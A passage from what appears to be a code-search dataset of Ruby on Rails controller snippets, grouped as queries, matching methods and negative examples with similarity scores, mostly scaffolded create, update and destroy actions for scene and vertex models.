"def destroy\n @vertex = Vertex.find(params[:id])\n @vertex.destroy\n\n respond_to do |format|\n format.html { redirect_to(vertices_url) }\n format.xml { head :ok }\n end\n end",
"def vertices\n to_a\n end",
"def position_scene1_params\n params.require(:position_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def destroy\n @space_scene.destroy\n respond_to do |format|\n format.html { redirect_to space_scenes_url, notice: 'Space scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.7945624",
"0.7263451",
"0.68080884",
"0.6635257",
"0.6621084",
"0.6565784",
"0.65183806",
"0.6462523",
"0.6331203",
"0.6234234",
"0.5992884",
"0.58883584",
"0.58582413",
"0.5848805",
"0.5848162",
"0.57352114",
"0.5658021",
"0.5619813",
"0.5617279",
"0.5612266",
"0.5575353",
"0.5570964",
"0.5557431",
"0.55291647",
"0.54669726",
"0.5464848",
"0.546234",
"0.5442683",
"0.5442683",
"0.54395884",
"0.5439373",
"0.54185295",
"0.5411257",
"0.5374618",
"0.5374152",
"0.5365264",
"0.5362233",
"0.5357638",
"0.53550845",
"0.532666",
"0.5314325",
"0.5313707",
"0.5311916",
"0.5311916",
"0.5310201",
"0.53093433",
"0.530833",
"0.53079706",
"0.5303174",
"0.53013337",
"0.52970344",
"0.52901554",
"0.527181",
"0.5258078",
"0.5255545",
"0.5236644",
"0.52027357",
"0.51966506",
"0.51930135",
"0.51861906",
"0.51861906",
"0.51850945",
"0.5184524",
"0.5178978",
"0.51762694",
"0.51761264",
"0.5173168",
"0.51679647",
"0.51656973",
"0.5159929",
"0.51069224",
"0.5104291",
"0.5095299",
"0.5090998",
"0.5090998",
"0.5062247",
"0.50501597",
"0.50489193",
"0.50478405",
"0.5043679",
"0.5037831",
"0.50370824",
"0.50238997",
"0.5019327",
"0.50178504",
"0.49897695",
"0.49893746",
"0.49844983",
"0.49778733",
"0.4977463",
"0.49764234",
"0.49720854",
"0.496896",
"0.4961351",
"0.49478555",
"0.49357823",
"0.49290884",
"0.492591",
"0.49116564",
"0.49006137",
"0.48985964"
] | 0.0 | -1 |
POST /vertices_scene3s POST /vertices_scene3s.json | def create
@vertices_scene3 = VerticesScene3.new(vertices_scene3_params)
respond_to do |format|
if @vertices_scene3.save
format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully created.' }
format.json { render :show, status: :created, location: @vertices_scene3 }
else
format.html { render :new }
format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def vertices_scene3_params\n params.require(:vertices_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def index\n @vertices_scene3s = VerticesScene3.all\n end",
"def set_vertices_scene3\n @vertices_scene3 = VerticesScene3.find(params[:id])\n end",
"def create\n @vertices_scene1 = VerticesScene1.new(vertices_scene1_params)\n\n respond_to do |format|\n if @vertices_scene1.save\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene1 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @vertices_scene3.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene3s_url, notice: 'Vertices scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def position_scene3_params\n params.require(:position_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def create\n @position_scene3 = PositionScene3.new(position_scene3_params)\n\n respond_to do |format|\n if @position_scene3.save\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @position_scene3 }\n else\n format.html { render :new }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices_scene1_params\n params.require(:vertices_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def update\n respond_to do |format|\n if @vertices_scene3.update(vertices_scene3_params)\n format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vertices_scene2 = VerticesScene2.new(vertices_scene2_params)\n\n respond_to do |format|\n if @vertices_scene2.save\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene2 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scene_object = SceneObject.new(scene_object_params)\n\n respond_to do |format|\n if @scene_object.save\n format.html { redirect_to @scene_object, notice: 'Scene object was successfully created.' }\n format.json { render :show, status: :created, location: @scene_object }\n else\n format.html { render :new }\n format.json { render json: @scene_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # JSONファイルから文字列を抽出する\n file = params['stage']['file']# Upされたファイルにアクセス\n \n p(\"file params:\")\n\n @jsonstring = file.read\n p(@jsonstring)\n @stage = Stage.new(:scene_data => @jsonstring, :title => params[:stage][:title])\n p(\"stage.scene_data:\")\n p(@stage.scene_data)\n #p(@stage.nothing)\n \n if params[:stage][:texture] != nil\n @textures = Texture.new(:data => params[:stage][:texture]['data'])\n @stage.textures << @textures\n end\n\n respond_to do |format|\n if @stage.save!\n format.html { redirect_to @stage, notice: 'Stage was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stage }\n else\n format.html { render action: 'new' }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scene = @scenario.scenes.build(scene_params)\n\n respond_to do |format|\n if @scene.save\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully created.\" }\n format.json { render :show, status: :created, location: @scene }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @space_scene = SpaceScene.new(space_scene_params)\n\n respond_to do |format|\n if @space_scene.save\n format.html { redirect_to @space_scene, notice: 'Space scene was successfully created.' }\n format.json { render :show, status: :created, location: @space_scene }\n else\n format.html { render :new }\n format.json { render json: @space_scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @disable_navp = true\n @scene = Scene.new(scene_params)\n\n respond_to do |format|\n if @scene.save\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully created.' }\n format.json { render action: 'show', status: :created, location: @scene }\n else\n format.html { render action: 'new' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def scene_params\n params.require(:scene).permit(:name, :url, :user_id, :scene_type)\n end",
"def create\n @project = Project.find(params[:project_id])\n if !@project.owner?(session_obj)\n not_authorized and return\n end\n @scene = @project.scenes.new(params[:scene])\n #load up initial background and music\n @scene.load_initial_events\n respond_to do |format|\n if @scene.save!\n format.html { redirect_to edit_project_scene_path(@project, @scene) }\n format.json { render json: @scene, status: :created, location: @scene }\n else\n flash[:notice] = @scene.errors.full_messages\n format.html { redirect_to :back }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices_scene2_params\n params.require(:vertices_scene2).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def scene_object_params\n params.require(:scene_object).permit(:kind, :locked, :position_x, :position_y, :position_z, :texture_type, :texture_url, :scale_x, :scale_y, :scale_z, :rotation_x, :rotation_y, :rotation_z, :hidden, :name)\n end",
"def space_scene_params\n params.require(:space_scene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def index\n @position_scene3s = PositionScene3.all\n end",
"def destroy\n @vertices_scene1.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene1s_url, notice: 'Vertices scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @location = Geolocation.new(params[:geolocation])\n @scene = Scene.new(:title => params[:title])\n @location.scenes << @scene\n @location.save\n @scene.save\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully create.'}\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\"}\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def nowscene_params\n params.require(:nowscene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def unity3d_params\n params.require(:unity3d).permit(:name, :category, :objectname,:source, :use, :plan,:num,:option)\n end",
"def set_vertices_scene1\n @vertices_scene1 = VerticesScene1.find(params[:id])\n end",
"def index\n @vertices_scene1s = VerticesScene1.all\n end",
"def position_scene1_params\n params.require(:position_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def create\n @scene = Scene.new(scene_params)\n\n @scene.content = Sanitize.fragment(@scene.content, Sanitize::Config::RELAXED)\n\n respond_to do |format|\n if @scene.save\n format.html { redirect_to @scene, notice: 'Scene was successfully created.' }\n format.json { render :show, status: :created, location: @scene }\n else\n format.html { render :new }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def scene_params\n params.require(:scene).permit(:title, :content, :story_id, :position)\n end",
"def destroy\n @position_scene3.destroy\n respond_to do |format|\n format.html { redirect_to position_scene3s_url, notice: 'Position scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @vertices_scene1.update(vertices_scene1_params)\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def scene_params\n params.require(:scene).permit(:title, :image, :number, :description, :when, :scenario_id)\n end",
"def destroy\n @vertices_scene2.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene2s_url, notice: 'Vertices scene2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @nowscene = Nowscene.new(nowscene_params)\n\n respond_to do |format|\n if @nowscene.save\n format.html { redirect_to @nowscene, notice: 'Nowscene was successfully created.' }\n format.json { render :show, status: :created, location: @nowscene }\n else\n format.html { render :new }\n format.json { render json: @nowscene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def stage_params\n #params[:stage]\n params.require(:stage).permit(:scene_data, :textures)\n end",
"def vertex_params\n params.require(:vertex).permit(:latitude, :longitude, :region_id)\n end",
"def set_vertices_scene2\n @vertices_scene2 = VerticesScene2.find(params[:id])\n end",
"def create\n @position_scene1 = PositionScene1.new(position_scene1_params)\n\n respond_to do |format|\n if @position_scene1.save\n format.html { redirect_to @position_scene1, notice: 'Position scene1 was successfully created.' }\n format.json { render :show, status: :created, location: @position_scene1 }\n else\n format.html { render :new }\n format.json { render json: @position_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @vertices_scene2s = VerticesScene2.all\n end",
"def create\n @sphere = Sphere.new(params[:sphere])\n\n respond_to do |format|\n if @sphere.save\n format.html { redirect_to @sphere, notice: 'Sphere a été crée avec succès.' }\n format.json { render json: @sphere, status: :created, location: @sphere }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sphere.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scene_connector = SceneConnector.new(scene_connector_params)\n\n respond_to do |format|\n if @scene_connector.save\n format.html { redirect_to @scene_connector, notice: 'Scene connector was successfully created.' }\n format.json { render :show, status: :created, location: @scene_connector }\n else\n format.html { render :new }\n format.json { render json: @scene_connector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quick_s3_upload\n end",
"def create\n @sphere = Sphere.new(sphere_params)\n\n respond_to do |format|\n if @sphere.save\n format.html { redirect_to @sphere, notice: 'Sphere was successfully created.' }\n format.json { render :show, status: :created, location: @sphere }\n else\n format.html { render :new }\n format.json { render json: @sphere.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @unity3d = Unity3d.new(unity3d_params)\n @unity3d.source=uploadfile(params[:file][\"file\"]) \n #@unity3d.source=\"Prefabs/QinZhouGang/#{@unity3d.source}.unity3d\"\n respond_to do |format|\n if @unity3d.save\n format.html { redirect_to @unity3d, notice: 'Unity3d was successfully created.' }\n format.json { render action: 'show', status: :created, location: @unity3d }\n else\n format.html { render action: 'new' }\n format.json { render json: @unity3d.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @scene.update_attributes(params[:scene])\n format.html { redirect_to edit_project_scene_path(@scene.project, @scene) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url }\n format.json { head :no_content }\n end\n end",
"def create\n @ol3_vector_style = Ol3VectorStyle.new(ol3_vector_style_params)\n\n respond_to do |format|\n if @ol3_vector_style.save\n format.html { redirect_to @ol3_vector_style, notice: 'Ol3 vector style was successfully created.' }\n format.json { render :show, status: :created, location: @ol3_vector_style }\n else\n format.html { render :new }\n format.json { render json: @ol3_vector_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_position_scene3\n @position_scene3 = PositionScene3.find(params[:id])\n end",
"def destroy\n\n @scene.destroy\n\n respond_to do |format|\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n end\n end",
"def create\n @three = Three.new(three_params)\n\n respond_to do |format|\n if @three.save\n format.html { redirect_to @three, notice: 'Three was successfully created.' }\n format.json { render action: 'show', status: :created, location: @three }\n else\n format.html { render action: 'new' }\n format.json { render json: @three.errors, status: :unprocessable_entity }\n end\n end\n end",
"def scene_params\n params.fetch(:scene).permit(:title, :details, :url, :date, :rating, :studio_id, performer_ids: [], tag_ids: [])\n end",
"def update\n respond_to do |format|\n if @vertices_scene2.update(vertices_scene2_params)\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene2 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url, notice: 'Scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @position_scene3.update(position_scene3_params)\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def factorial_scene1_params\n params.require(:factorial_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def create\n @cp3 = Cp3.new(cp3_params)\n\n respond_to do |format|\n if @cp3.save\n format.html { redirect_to @cp3, notice: 'Cp3 was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cp3 }\n else\n format.html { render action: 'new' }\n format.json { render json: @cp3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully updated.\" }\n format.json { render :show, status: :ok, location: @scene }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @scene_object.destroy\n respond_to do |format|\n format.html { redirect_to scene_objects_url, notice: 'Scene object was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def create\n @video = Video.new(params[:video])\n @scene = Scene.find(params[:video][:scene_id])\n\n @video.scene = @scene\n @video.user = current_user\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def point3s(point3s=nil,point3=self)\n (point3s ||= Point3s.new).set(point3.s_radius,point3.theta,point3.phi)\n end",
"def create\n @french_scene = @scene.french_scenes.build(french_scene_params)\n\n respond_to do |format|\n if @french_scene.save\n format.html { redirect_to @french_scene.scene, notice: 'French scene was successfully created.' }\n format.json { render :show, status: :created, location: @french_scene }\n else\n format.html { render :new }\n format.json { render json: @french_scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @s3_image = S3Image.new(params[:s3_image])\n\n respond_to do |format|\n if @s3_image.save\n format.html { redirect_to @s3_image, notice: 'S3 image was successfully created.' }\n format.json { render json: @s3_image, status: :created, location: @s3_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @s3_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @scene_objects = SceneObject.all\n end",
"def create\n @vertex = Vertex.new(params[:vertex])\n\n respond_to do |format|\n if @vertex.save\n format.html { redirect_to(@vertex, :notice => 'Vertex was successfully created.') }\n format.xml { render :xml => @vertex, :status => :created, :location => @vertex }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vertex.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @id3 = Id3.new(id3_params)\n\n respond_to do |format|\n if @id3.save\n format.html { redirect_to @id3, notice: 'Id3 was successfully created.' }\n format.json { render :show, status: :created, location: @id3 }\n else\n format.html { render :new }\n format.json { render json: @id3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bench_test_s3 = BenchTest::S3.new(params[:bench_test_s3])\n\n mark_as_starting @bench_test_s3\n\n\n respond_to do |format|\n if @bench_test_s3.save\n format.html { redirect_to(@bench_test_s3, :notice => 'S3 was successfully created.') }\n format.xml { render :xml => @bench_test_s3, :status => :created, :location => @bench_test_s3 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bench_test_s3.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vertex = Vertex.new(vertex_params)\n\n if @vertex.save\n respond_with(@vertex, location: vertices_url, notice: 'Vertex was successfully created.')\n else\n respond_with(@vertex)\n end\n end",
"def mesh_params\n params.require(:mesh).permit(:origin, :destination, :map_name, :distance)\n end",
"def sphere_params\n params.require(:sphere).permit(:name)\n end",
"def create\n @shouldersbiceps3 = Shouldersbiceps3.new(shouldersbiceps3_params)\n\n respond_to do |format|\n if @shouldersbiceps3.save\n format.html { redirect_to @shouldersbiceps3, notice: 'Shouldersbiceps3 was successfully created.' }\n format.json { render :show, status: :created, location: @shouldersbiceps3 }\n else\n format.html { render :new }\n format.json { render json: @shouldersbiceps3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @space_scene.destroy\n respond_to do |format|\n format.html { redirect_to space_scenes_url, notice: 'Space scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @scene_of_action = SceneOfAction.new(scene_of_action_params)\n if @scene_of_action.save\n flash[:success] = \"Место действия успешно создано!\"\n redirect_to scene_of_actions_url\n else\n render 'new'\n end\n end",
"def create\n @sphere = Sphere.new(params[:sphere])\n\n respond_to do |format|\n if @sphere.save\n format.html { redirect_to(@sphere, :notice => 'Sphere was successfully created.') }\n format.xml { render :xml => @sphere, :status => :created, :location => @sphere }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sphere.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n if !has_right?(:create)\n redirect_to :unauthorized\n return\n end\n @section_preview = SectionPreview.new(params[:section_preview])\n create_new_objects(:property => params[:property],\n \t\t\t\t\t\t\t\t\t :image_storage => params[:image_storage],\n \t\t\t\t\t\t\t\t\t :asset => params[:asset],\n \t\t\t\t\t\t\t\t\t :resource => @section_preview) ### Add to all resources\n end",
"def create\n @quadra = Quadra.new(quadra_params)\n\n respond_to do |format|\n if @quadra.save\n format.html { redirect_to @quadra, notice: 'Quadra was successfully created.' }\n format.json { render :show, status: :created, location: @quadra }\n else\n format.html { render :new }\n format.json { render json: @quadra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene\n @scene = Scene.find(params[:id])\n end",
"def set_scene\n @scene = Scene.find(params[:id])\n end",
"def set_scene_object\n @scene_object = SceneObject.find(params[:id])\n end",
"def Ray3dFromSegment3d(arg0)\n ret = _invoke(1610744268, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def add_to(s3)\n s3_template = s3.template\n @instance_name = s3.name\n cloud_front_template = template\n s3.template.deep_merge(cloud_front_template)\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quadra = Quadra.new(quadra_params)\n respond_to do |format|\n if @quadra.save\n format.html { redirect_to quadras_url, notice: 'Quadra criada com sucesso.' }\n format.json { render :show, status: :created, location: @quadra }\n else\n format.html { render :new }\n format.json { render json: @quadra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @geometry = Geometry.new(geometry_params)\n\n respond_to do |format|\n if @geometry.save\n format.html { redirect_to @geometry, notice: 'Geometry was successfully created.' }\n format.json { render action: 'show', status: :created, location: @geometry }\n else\n format.html { render action: 'new' }\n format.json { render json: @geometry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shade = Shade.new(shade_params)\n @shade.created_by = @current_user.id\n\n if @shade.save\n render :show, status: :created, location: v1_shade_url(@shade)\n else\n render json: @shade.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @unity3d.destroy\n respond_to do |format|\n format.html { redirect_to unity3ds_url }\n format.json { head :no_content }\n end\n end",
"def create\n @svgpost = Svgpost.new(params[:svgpost])\n\n respond_to do |format|\n if @svgpost.save\n format.html { redirect_to @svgpost, notice: 'Svgpost was successfully created.' }\n format.json { render json: @svgpost, status: :created, location: @svgpost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @svgpost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene_object.update(scene_object_params)\n format.html { redirect_to @scene_object, notice: 'Scene object was successfully updated.' }\n format.json { render :show, status: :ok, location: @scene_object }\n else\n format.html { render :edit }\n format.json { render json: @scene_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mesh_vertices\r\n # private ?\r\n d = TT::Instance.definition( @instance )\r\n transformation = @instance.model.edit_transform\r\n points = mesh_points( final_subdivs, transformation )\r\n vertices = raw_mesh_vertices()\r\n\r\n # <debug>\r\n unless points.size == vertices.size\r\n Console.log( 'mesh_vertices' )\r\n Console.log( \"> Points: #{points.size}\" )\r\n Console.log( \"> Vertices: #{vertices.size}\" )\r\n end\r\n # </debug>\r\n\r\n patch_vertices = []\r\n for point in points\r\n vertex = vertices.find { |v| v.position == point } # (!) Optimize\r\n patch_vertices << vertex\r\n vertices.delete( vertex )\r\n end\r\n patch_vertices\r\n end",
"def update_vertex(request)\n raise 'Request null' if request.nil?\n\n vertex = Vertex.find_by_id(request.id)\n return UpdateVertexResponse.new(false, 'Vertex could not be found') if vertex.nil?\n\n vertex.posx = request.pos_x\n vertex.posy = request.pos_y\n vertex.width = request.width\n vertex.height = request.height\n vertex.z_index = request.z_index\n\n @response = if vertex.save\n UpdateVertexResponse.new(true, 'Vertex Updated')\n else\n UpdateVertexResponse.new(false, 'Incorrect Update Parameters')\n end\n end",
"def create\n @project = Project.new\n @project.name = params[:name]\n @project.description = params[:description]\n @project.client_id = params[:client_id]\n# @deleteproject = Project.find_all_by_name(@project.name)\n# @deleteproject.each do |proj|\n# proj.destroy\n# end\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n if ENV['RAILS_ENV'] != \"test\"\n # getting the root folder first\n unless exists_in_s3?(@project.name,S3SwfUpload::S3Config.bucket, {:folder => true} )\n create_s3_folder(@project.name,S3SwfUpload::S3Config.bucket,{:folder => true})\n end\n end\n redirect_to \"/projectlist/\" + @project.client.name\n else\n\n flash[:notice] = 'Unable to create the project due to ' + @project.errors.full_messages[0].to_s\n redirect_to :controller => \"clients\"\n end\n\n end",
"def upload_to_s3(info, file_name)\n bucket_name = 'techops-tests'\n\n to_json_file(info, file_name)\n\n s3 = Aws::S3::Resource.new(\n region: 'ap-southeast-2',\n access_key_id: $options[:s3_key],\n secret_access_key: $options[:s3_secret]\n )\n\n file = File.basename file_name\n obj = s3.bucket(bucket_name).object(file)\n\n if obj.upload_file(file)\n puts \"Uploaded #{file} to bucket #{bucket_name}\"\n File.delete(file_name)\n else\n puts \"Could not upload #{file} to bucket #{bucket_name}!\"\n end\nend",
"def destroy\n @position_scene1.destroy\n respond_to do |format|\n format.html { redirect_to position_scene1s_url, notice: 'Position scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def setSceneNodes sceneNodes\n @sceneNodes = sceneNodes\n end",
"def create\n params[:travel_post][:user_id] = current_user.id\n @travel_post = TravelPost.new(travel_post_params)\n\n respond_to do |format|\n if @travel_post.save\n if params[:travel_post_attachments].present?\n params[:travel_post_attachments]['s3'].each do |a|\n @travel_post_attachment = @travel_post.travel_post_attachments.create!(:s3 => a, :travel_post_id => @travel_post.id)\n end\n end\n format.html { redirect_to travel_posts_path, notice: 'Travel post was successfully created.' }\n format.json { render :show, status: :created, location: @travel_post }\n else\n format.html { render :new }\n format.json { render json: @travel_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices\n [\n @origin,\n { x: x_max, y: y_min, z: z_min },\n { x: x_min, y: y_max, z: z_min },\n { x: x_min, y: y_min, z: z_max },\n { x: x_max, y: y_max, z: z_min },\n { x: x_max, y: y_min, z: z_max },\n { x: x_min, y: y_max, z: z_max },\n { x: x_max, y: y_max, z: z_max }\n ]\n end",
"def create\n @stage = Stage.new(stage_params)\n\n if @stage.save\n render json: @stage, status: :created\n else\n render json: @stage.errors, status: :unprocessable_entity\n end\n end"
] | [
"0.68933517",
"0.6723877",
"0.66946065",
"0.6317433",
"0.62770844",
"0.61728966",
"0.61580074",
"0.61064494",
"0.60265154",
"0.594289",
"0.5898349",
"0.5845055",
"0.5811973",
"0.58016104",
"0.5799848",
"0.5784505",
"0.5784068",
"0.56881577",
"0.5647149",
"0.56080943",
"0.5563073",
"0.5551992",
"0.55132645",
"0.55078006",
"0.5506049",
"0.54992014",
"0.54654664",
"0.53737205",
"0.5371248",
"0.5345264",
"0.5321694",
"0.5307895",
"0.52978027",
"0.52978027",
"0.5281408",
"0.52808887",
"0.5274673",
"0.52000177",
"0.5199931",
"0.5172372",
"0.5128894",
"0.512784",
"0.5111707",
"0.5088843",
"0.50658065",
"0.5053627",
"0.5053573",
"0.50449824",
"0.5029062",
"0.50012016",
"0.4991293",
"0.49742642",
"0.49630195",
"0.4958961",
"0.49450952",
"0.4939445",
"0.49353668",
"0.49212018",
"0.4920963",
"0.49177027",
"0.4917103",
"0.49106005",
"0.49099535",
"0.4908682",
"0.49076134",
"0.48837447",
"0.4874841",
"0.48705414",
"0.4860378",
"0.48511988",
"0.47947544",
"0.47915742",
"0.4767381",
"0.47649112",
"0.4762432",
"0.47589198",
"0.47493595",
"0.47453874",
"0.4738384",
"0.47297058",
"0.47297058",
"0.47216517",
"0.47126",
"0.4684848",
"0.46828046",
"0.4671756",
"0.4661717",
"0.46554047",
"0.46548194",
"0.4654363",
"0.4636092",
"0.46295404",
"0.46243563",
"0.46058792",
"0.45997077",
"0.45919287",
"0.45893237",
"0.4579349",
"0.45738235",
"0.45726568"
] | 0.71943593 | 0 |
PATCH/PUT /vertices_scene3s/1 PATCH/PUT /vertices_scene3s/1.json | def update
respond_to do |format|
if @vertices_scene3.update(vertices_scene3_params)
format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully updated.' }
format.json { render :show, status: :ok, location: @vertices_scene3 }
else
format.html { render :edit }
format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_vertices_scene3\n @vertices_scene3 = VerticesScene3.find(params[:id])\n end",
